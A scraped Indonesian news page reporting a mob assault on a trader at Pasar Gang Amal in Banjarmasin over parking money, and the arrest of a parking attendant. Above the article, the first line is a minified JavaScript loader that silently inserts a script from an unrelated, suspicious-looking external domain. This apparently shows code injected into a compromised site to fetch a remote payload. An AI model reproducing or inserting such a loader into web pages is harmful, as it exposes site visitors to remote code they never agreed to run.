(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Pengeroyokan di Belitung Darat, Seorang Jukir Dibekuk Polisi


KANALKALIMANTAN.COM, BANJARMASIN – Peristiwa pengeroyokan membuat geger warga sekitar Pasar Gang Amal, Jalan Belitung Darat, Kecamatan Banjarmasin Barat, Kota Banjarmasin, Senin (11/3/2024) malam.

Malam pertama bulan Ramadan itu seorang pedagang bernama Baida (50) mengalami luka serius karena dikeroyok oleh empat orang.

Salah satu pelaku adalah AJ (29), seorang juru parkir (jukir) ditangkap tak lama setelah ia ikut melakukan pengeroyokan.

Berdasarkan keterangan Kapolsek Banjarmasin Barat Kompol Arie Munandar melalui Kanit Reskrim Iptu Firuza Bahri, peristiwa pengeroyokan itu dilakukan oleh empat lelaki berinisial AJ, A, Y, dan I sekitar pukul 22.15 Wita.

Berdasarkan keterangan pelapor pada Senin (11/3/2024) malam, Baida yang saat itu berjualan di Jalan Belitung Darat tepatnya di depan Pasar Gang Amal dikeroyok empat orang menggunakan senjata tajam dan tangan kosong.

Baca juga: Balap Liar Depan Balai Kota, Belasan Pot Bunga Hancur Ditabrak

Akibatnya Baida mengalami luka pada bagian tangan dan harus mendapatkan penanganan medis di Rumah Sakit (RS) Suaka Insan Banjarmasin.

Setelah melakukan pengeroyokan, pelaku AJ berhasil diamankan oleh petugas Satreskrim Polresta Banjarmasin. Sementara tiga orang pelaku lainnya A, Y, dan I melarikan diri dan saat ini masih proses pencarian.

Saat penangkapan, polisi menyita barang bukti sebilah parang yang digunakan AJ untuk melukai Baida.

Hasil penyelidikan dan keterangan saksi, motif pengeroyokan dilatarbelakangi masalah uang parkir.

Baca juga: Kediaman Sule Kedatangan Tyas Mirasih, Hanya di “Cari Berkah” BTV!

“Pelaku AJ dan barang bukti tersebut sudah diamankan ke Mapolsek Banjarmasin Barat untuk proses hukum lebih lanjut,” kata Kanit Reskrim.

Juru parkir tersebut kini berhadapan dengan jeratan hukum Pasal 170 ayat (2) Jo Pasal 56 KUHP karena melakukan kekerasan secara bersama-sama. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

7 menit ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

1 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

2 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

5 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

6 jam ago

Rumah Kosong di Pekapuran Raya Banjarmasin Terbakar

KANALKALIMANTAN.COM, BANJARMASIN - Warga Jalan Harmoni III Kelurahan Pekapuran Raya, Kecamatan Banjarmasin Timur. Kota Banjarmasin,… Read More

7 jam ago

This website uses cookies.